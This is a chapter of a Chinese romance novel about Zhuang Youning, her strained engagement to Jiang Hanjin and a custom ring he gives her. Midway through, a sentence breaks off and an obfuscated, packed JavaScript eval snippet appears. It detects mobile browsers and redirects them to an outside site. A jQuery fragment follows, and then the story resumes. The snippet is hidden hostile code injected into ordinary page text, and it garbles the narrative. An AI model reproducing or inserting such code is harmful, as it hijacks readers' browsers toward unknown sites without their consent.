落入耳中的只有窗外零星的蝉声,和空调出风口均匀的低鸣。
她翻了个身,床垫轻轻塌陷。
手机屏幕亮了一次又一次。
是于茵分享的一些关于小情侣相处的视频,最新发来的那条正好关于吵架冷战。
她点了点手机,猜得还真准。
放下手机,仰面躺着,望着天花板,又转念想,自己和江寒烬这算什么吵架冷战,顶多就是一开始没说清楚,这要是都算,那她天天在公司对员工提点意见岂不是也是?
室内一点光都没有,仿佛她整个人被沉进了一口空井,没有回音,没有出口。她在脑海里一遍一遍回放今晚的画面。
“怎么又不说话了?理亏还是觉得不想跟我说话?”
这句话像是带着倒钩的刺,挂在她心头,一动就疼。
他太聪明了,聪明到连她什么时候有情绪,什么时候在自我压抑都能看得清楚。所以只有他会在她沉默的时候,用难听的语气逼她表达,而不是像别人一样,认可她是默认。
像今天,也像之前。
夜风掀起窗帘,轻飘飘地拍打在窗框上,像一声声克制的叹息。她神色发怔,不知道怎么就想起那年她失踪了一整天,江家上下都在找她。
可其实她并没有走远,她只是一个人躲进了阁楼储物间柜子里。柜门半掩着,狭窄又阴暗,她缩成一团,仿佛只有这样压抑的环境才能让她生出一丝安全感。
她习惯性躲避,遇到事情就会缩进自己的壳子里,所有找到她的人,都只会一脸悲悯地劝她说“你要坚强”,只有江寒烬不一样。
然后,照常躲在柜子里的人听见了脚步声。
那时候他还很少年,嗓音也比现在轻一些,开门的时候带着点气喘:“庄宁——”
她也忘了,怎么会有旁人舍掉“宥”字叫她,也忘记了他从什么时候舍掉这个字的。记忆里,父母只希望她柔软些,给她取了宽宥的“宥”字,只有庄昶戚只说要她一辈子安宁就好,不要背负“宥”这个沉重的用意。
他轻而易举地拉开柜门,垂着眼睛看着她。光线从他背后落进来,映出他眉眼之间的阴影。他皱着眉低声说了句:“在这儿蹲一下午,练憋气呢?”
像极了窗外聒噪的蝉,扰得她无法平静。
她闭上眼,脑子却更清醒了,半晌之后,轻轻叹了口气。
*
阳光透过江宅厚实的窗帘缝隙打进来,照在客厅那块镶嵌着玉石边框的挂钟上,时针稳稳指向了七点。
庄宥宁后半夜才睡,难得还能准时醒,只是江宅去公司要不少时间,准时醒都算迟。
下楼时,偶尔只听见厨房传来点响动,她下意识地扫了一眼餐桌——没人。
谁都不在,不过也是,他不是早起的人。
可她垂下眼,心里竟有一丝莫名的不安——明明该觉得清静的,可现在这份安静却让她有点坐立难安。
厨房里的人端着粥来到客厅:“庄小姐,早,马上就能用餐了。”
她含笑:“早。”
但她并不打算留下用餐,时间不多了,再晚点肯定会堵在路上。结果才刚拐过走廊,赵康像凭空出现一样站在玄关处,像是刚浇完花似的,语气不紧不慢:“宥宁,起这么早?”
“嗯。”她脚步一顿,还是淡声回。
赵康点点头,嘴角那点笑意意味不明:“很急吗?”
她没接话,只是打开门的动作稍微慢了一点。
赵康忽然将一个袋子递给她:“在你房门口看见的,倒在哪里,用人打扫的时候拿到的,我看着不像是不需要的东西。”
她垂眼看了看,终于能看清这个磨砂质感的礼品袋,昨夜被江寒烬的两根手指松松地拎着,不知道里面是什么,但因为两人不欢而散,最后谁也没去管它。
她接过,道谢,却看见赵康眯着眼看她,语气仍旧轻松,却带着点刻意的随意:“寒烬送的吧?”
她没说话,只是眼神中有些讶然。
“你有没有觉得,他其实挺别扭的?”
赵康也不等她回答,自顾自地笑了一下。
“我第一次见他,也是十几年前了。他小时候脾气拧得不行,明明想踢足球,一看到他爷爷来了就把球往地上一扔,冷着脸说‘无聊死了’,因为他知道他动起来太讨人厌了,不是踢坏玻璃,就是摔伤自己,他的家人会心疼,会担心,所以呢,做什么都喜欢藏着掖着,也不知道其实自己的小心思根本就藏不住。”
“但你知道吗?晚上我看见他一个人在走廊尽头,坐在球边发呆,坐了一个多小时。”
赵康接着说:“后来他就学会了敞着门,但会偷偷去做更令人胆战心惊的事。”
她动了动手指,喉头微涩,没出声,但手指不自觉地捏紧了包带。
赵康看着她,忽然像是叹了口气:“所以他最喜欢漫不经心地试探你一句,得不到想要的答案就会缩回去,自怨自艾。”
“你要是问他什么,他也可能永远说‘行’,但他心里其实早就打了个死结。”
她低下头,不知道是被风吹得睫毛轻颤,还是心跳乱了节拍。
赵康笑着挥挥手:“行了,我就是随口说说。你就当我话多。”
“不过他今天真的破天荒早早就出门了,兴许是情绪不好?”
门外阳光正好。
她点点头,轻声说了句:“可能吧。多谢赵叔跟我说这么多。”
赵康站在玄关目送她离开,不紧不慢地摇了摇头。他第一次撞见两人的事,细数起来应该还是在七年前了。
他偶尔来找江敬知,总能在转角处听见点不该听的动静——不是偷情,是小孩的斗气。
有一回刚好路过楼梯间,赵康正打算往厨房走,结果就听见背后“咚”的一声,有人被按在了墙上。
他本以为撞上什么桥段,还刻意放慢脚步——谁知探头一看,发现那一墙之隔的人,庄宥宁穿着整洁校服、脸红耳赤,还有一脸欠揍的江寒烬。
“你能不能别老跟着我?”
“我是走路,你也是走路,这叫跟着?”
“……”
“理亏了?”
“江寒烬!”
“诶——干嘛?”
那所中学制服是最普通的运动服,但领口又带点绲边,衬得人更冷,也更骄。
赵康站在那一刻突然懂了。
江寒烬这个人,从小都不会讨好谁,但只要一面对庄宥宁,哪怕是最笨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720658|168328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拙、最跩的小男生心思,也都会自动变成“我要她看我一眼”。可那明明看起来规矩淡漠、不苟言笑,每次被惹得翻白眼的她,却也从来没真发过火。
那之后,赵康心里就有数了。
*
女主开车回到家时已是黄昏,天边的晚霞像被谁用手心碾碎的胭脂,粘在玻璃上,摇晃不散。
一整天连轴转,会议、签约,神经像上了发条。一路驱车回到锦兰府,下车时,意外瞥见了一直放在副驾驶的礼品袋,犹豫不过三秒,就拎着它就径直从地下车库走进电梯,指节青白地按着上楼键。
门在她面前关合时,灯光斜照过来。
放在车上也是碍事。
刚把外套搭在沙发上,门铃就响了。
于茵像往常一样,拎着两盒慕斯蛋糕:“铛铛!来跟你共进晚餐。”
她有些想笑:“晚上吃这个,现在你不怕卡路里超标?”
见于茵嘿嘿笑着,她就没再过问了,就当没有嘴里常念叨的减肥一事。
于茵自来熟地走进来,像巡视似的在客厅里兜了一圈,随口说:“你这沙发上是不是多了个东西?”
于茵的视线落在那个礼品袋上,不经意地一笑,拉开椅子坐下。
“谁送的?”问得漫不经心,却像早就知道答案。
庄宥宁转进厨房,没回复于茵。等两人坐定,于茵却突然出声:“是江寒烬送的吧?”
她动作一顿,低头:“你怎么知道?”
“你还没拆过吧?”于茵意味不明地笑着,“要是你看过,哪还能这么冷静。”
于茵伸手把袋子推到她面前:“要不……你自己看看。”
她犹豫了一下,终究还是接过袋子,打开包装的那一刻,她整个人静了几秒,一个四四方方的盒子,盒子里躺着一枚戒指。
没有多余珠宝堆砌,也非传统意义上的奢华样式,整个戒环线条干净流畅,是被打磨得极其克制的现代简约。唯一引人注意的是内壁一圈极细的浮雕线纹,仿佛是谁将初雪时节窗上的霜描在上面,内敛又冷峻。
“这是奥地利那边的私人定制,”于茵眯着眼说,“他们的工坊每年只接五十单,而且只接预约老客户推荐的人,有价无市哦~”
她没说话,只是将那枚戒指放回盒子里,手指垂落时微微颤了下。
江寒烬好似永远都比她有掌控欲,这不到一个月,日期有了,连戒指都定好了,倒显得她多少有些置身事外。
于茵看着她:“订婚?”
她摇头:“他没说。”
“那你猜?”
她没回答,指腹轻轻摩挲着那枚戒指外沿,只是垂着眼,嗓音很轻:“不想猜。”
沉默落下来,于茵意识到她情绪不太对,没再追问。
“好,那就不管了!管他什么奥地利、江寒烬,统统都不值当!”
说完,于茵就轻车熟路地去她的冰箱里找了两瓶冰的罐装鸡尾酒:“反正都超标了,那就一鼓作气吧!”
音乐响着,酒精散发着,只有她的情绪还在沉淀着。
于茵的话说得轻巧,可那枚戒指泛开的极淡的光一直闪着,像极了某人嘴角噙着那点莫测的笑意,绕进心里,一寸寸把她困住。